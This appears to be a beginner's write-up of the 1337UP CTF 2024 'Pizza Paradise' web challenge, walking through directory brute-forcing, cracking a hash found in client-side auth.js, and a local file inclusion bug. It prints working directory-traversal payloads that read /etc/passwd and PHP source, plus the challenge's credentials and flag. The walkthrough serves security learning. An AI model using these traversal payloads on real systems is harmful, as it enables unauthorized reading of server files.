            <content:encoded><![CDATA[<p>Hey everyone, therealslimshady here! Today, we’re diving into the <strong>Pizza Paradise Challenge</strong> from the <strong>1337UP CTF 2024</strong>. This was a beginner-friendly web challenge, perfect for those just stepping into the world of web exploitation. Let’s break it down and explore what made it such a great learning experience!</p><p>The challenge started with uncovering a hidden webpage by analyzing the robots.txt file, which provided clues about restricted directories. From there, we had to examine an authentication script to understand the authentication mechanism, allowing them to log into a admin panel through hardcoded credentials. The journey didn’t end there — it progressed to exploiting a Local File Inclusion (LFI) vulnerability, adding another layer of complexity and learning opportunities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bQwYnXnt1AsK8fde" /></figure><p>When I first examined the website, it seemed completely static with no visible functionality or exploitable elements. Realizing there wasn’t much to work with, I decided to look for hidden pages or directories. To do this, I ran a quick directory brute-force scan, hoping to uncover additional resources that could provide a foothold.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/0*vnTkcWuLVOmnqJVX" /><figcaption>Running a Directory bruteforce on the website</figcaption></figure><p>I used <strong>Gobuster</strong> with <strong>common.txt</strong> wordlists to perform the directory brute force scan. During the scan, I discovered a<strong> robots.txt</strong> file. Since robots.txt often contains hints about restricted or hidden directories, I decided to check it out, suspecting it might hold valuable information to further the challenge.</p><blockquote>refer this article to understand the usage of gobuster : <a href="https://noobsixt9.medium.com/web-enumeration-using-gobuster-8437e7f4618d">https://noobsixt9.medium.com/web-enumeration-using-gobuster-8437e7f4618d</a></blockquote><blockquote>refer this article to understand what the usage of robots.txt in a webpage:<a href="https://medium.com/@webologytechnology001/what-is-robots-txt-and-how-can-i-benefit-from-it-d6393a2f2711">https://medium.com/@webologytechnology001/what-is-robots-txt-and-how-can-i-benefit-from-it-d6393a2f2711</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/0*UP6cl_8AVD9AhIhh" /><figcaption>The pages i found on robots.txt</figcaption></figure><p>Upon reviewing the robots.txt file, I found a reference to a secret file that was explicitly disallowed from being indexed by search engines. Curious, I decided to visit this hidden file directly, hoping it might reveal more clues or lead to the next step in the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kc1Q03ISgGUZ2uKX" /></figure><p>When I visited the page, I was greeted with a login form. Immediately, I thought this could be a <strong>SQL injection (SQLi)</strong> vulnerability, so I tried various payloads and tools in an attempt to exploit it. However, after several unsuccessful attempts, I realized my initial assumption was wrong. Frustrated but not discouraged, I decided to take a step back and view the page source, hoping to find something more useful or revealing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/0*gbdlTz32qTbf26ma" /><figcaption>Where i saw auth.js</figcaption></figure><p>Upon carefully examining the source code, I noticed a JavaScript file named auth.js that seemed to handle the authentication process. This caught my attention because it’s generally considered insecure to expose authentication logic or sensitive code to the public through client-side JavaScript. Storing authentication-related code in a publicly accessible JavaScript file can lead to a <strong>client-side code exposure vulnerability</strong>, where attackers can easily view and manipulate the authentication mechanism. This is a critical security flaw, as it potentially allows attackers to bypass authentication or extract credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*KybNRMfOPNoqWD1n" /><figcaption>The username and hash i found</figcaption></figure><p>When I examined the auth.js file, I found a username along with a password hash. With this information in hand, I decided to attempt cracking the hash to see if I could gain access. I used <a href="https://crackstation.net/"><strong>CrackStation</strong></a>, a well-known online hash cracking tool, to check if the hash matched any commonly used passwords or if it could be easily reversed. This gave me the chance to potentially retrieve the plain text password and log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aCNNyvjveiymGsTV" /></figure><p>To my surprise, <strong>CrackStation</strong> successfully cracked the hash, revealing the plaintext password. The credentials I now had were:</p><p><strong>Username</strong>: agent_1337</p><p><strong>Password</strong>: intel420</p><p>Armed with these new login details, I proceeded to log in to the secure panel, eager to see what the next step in the challenge would be.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_cMWmW-tVkPMNYYl" /></figure><p>At first, when I landed on the page and saw that I had to download some images, I thought, “This could be a <strong>steganography</strong> challenge, where I might need to extract parts of the flag hidden within the files.” However, those were just my famous last words!</p><p>After looking closer at the download request through using <a href="https://portswigger.net/burp">B<strong>urp Suite</strong></a>, I reconsidered my approach and thought it might be a <strong>Local File Inclusion (LFI)</strong> vulnerability instead. With that in mind, I began exploring further, looking for ways to exploit this potential flaw.</p><blockquote>Refer this article to understand how to use burpsuite the right way:<a href="https://medium.com/@omccarth333/burpsuite-101-87881162ffaf">https://medium.com/@omccarth333/burpsuite-101-87881162ffaf</a></blockquote><p>I launched <strong>Burp Suite</strong>, navigated to the proxy tab, opened the proxy browser, and navigated to the webpage. and enabled intercept, I was able to capture the request before it reached the server after clicking the <strong>download</strong> button, this is the request I intercepted:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HANB6crDB5wKK8_AvLXdtw.png" /></figure><p>In the request, we can see that the URL includes a download parameter with the value /assets/images/topsecret1.png. The parameter is being passed to a PHP script (topsecret_a9aedc6c39f654e55275ad8e65e316b3.php), which likely processes this value to load the file specified in the download parameter.</p><p>Here’s how an <strong>LFI (Local File Inclusion)</strong> vulnerability can occur:</p><ol><li><strong>User Input</strong>: The download parameter takes user input (a file path).</li><li><strong>Improper Validation</strong>: If the application does not properly validate or sanitize this input, it can be manipulated by an attacker to point to system files instead of just images.</li><li><strong>Directory Traversal</strong>: By using directory traversal sequences like ../, an attacker can manipulate the file path to include sensitive files from the server’s file system. For example, changing the value of download to ../../../../etc/passwd could allow an attacker to access critical system files like the password file in a Linux system.</li></ol><p>so i right clicked the request and sent the request to the repeater by clicking “Send to Repeater” to easily manipulate the request i am sending.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a8Phlm8c15aC39qY5GIS3g.png" /></figure><p>Once the request was in Repeater, I began manipulating the <strong>download</strong> parameter, experimenting with different payloads to see if I could access restricted files, like a potential flag. To guide my testing, I referred to a comprehensive list of <strong>LFI payloads</strong> from this GitHub repository: <a href="https://github.com/emadshanab/LFI-Payload-List/blob/master/LFI%20payloads.txt">LFI Payload List</a>. I kept sending the modified requests, hoping to trigger the inclusion of sensitive files and uncover the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W3vJFqsL9Ykw1kITN5TQ-w.png" /></figure><p>After testing the initial payloads, I realized there might be an input validation mechanism in place, as the response I received was: <strong>“File path not allowed!”</strong>. This made me think that there might be a way to bypass the restriction by navigating back from the allowed path. In the initial request, I noticed the download path was always under <strong>/assets/images/</strong>, but the specific image file name varied.</p><p>So, I hypothesized that <strong>/assets/images/</strong> might be the only allowed directory, and anything after that could potentially be manipulated. I suspected the logic might be something like download=/assets/images/*, where * could represent any file in that directory.</p><p>With this assumption, I tried a <strong>Directory Traversal</strong> attack by navigating backward through the filesystem. Since I was downloading from the /assets/images/ folder (which I presumed to be located in /var/www/html/assets/images), I used a series of <strong>../</strong> (dot-dot-slash) to traverse up the directory structure and reach the root directory (/). From there, I attempted to access the sensitive <strong>/etc/passwd</strong> file, which is commonly used to store user account information on Unix-based systems.</p><p>The payload I used was:</p><p><em>download=%2Fassets%2Fimages%2F../../../../../../../../../../../../etc/passwd</em></p><p>To break it down, the <strong>%2F</strong> represents the forward slash (/), and I used multiple <strong>../</strong> sequences to move up the directory hierarchy, eventually landing at the root directory (/). From there, I tried to access the <strong>/etc/passwd</strong> file.</p><p>If the server does not properly sanitize user input, this payload would potentially allow me to read sensitive files outside of the intended directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KIx_W46VZV0JU9FypS1DYw.png" /></figure><p>Since the <strong>Directory Traversal</strong> payload worked, I decided to try accessing a flag file, but unfortunately, I was met with no results. So, I reverted to my <strong>Hack The Box</strong> methodology and turned my attention to the source code of the page I was currently on: topsecret_a9aedc6c39f654e55275ad8e65e316b3.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xd_JdOQ6EHSKaPwwT7P_IA.png" /></figure><p>This is the payload I used to access the webpage. Since I needed to reach the <strong>webroot</strong> (which I assumed to be located in <strong>/var/www/html/</strong>, where the web pages are stored), I crafted the payload to navigate through the directories and access the <strong>topsecret_a9aedc6c39f654e55275ad8e65e316b3.php</strong> file.</p><p><em>download=%2Fassets%2Fimages%2F../../../../../../../../../../../../var/www/html/topsecret_a9aedc6c39f654e55275ad8e65e316b3.php</em></p><p>and like that i had the flag to the challenge</p><blockquote><strong>INTIGRITI{70p_53cr37_m15510n_c0mpl373}</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3ae4bf36f65" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>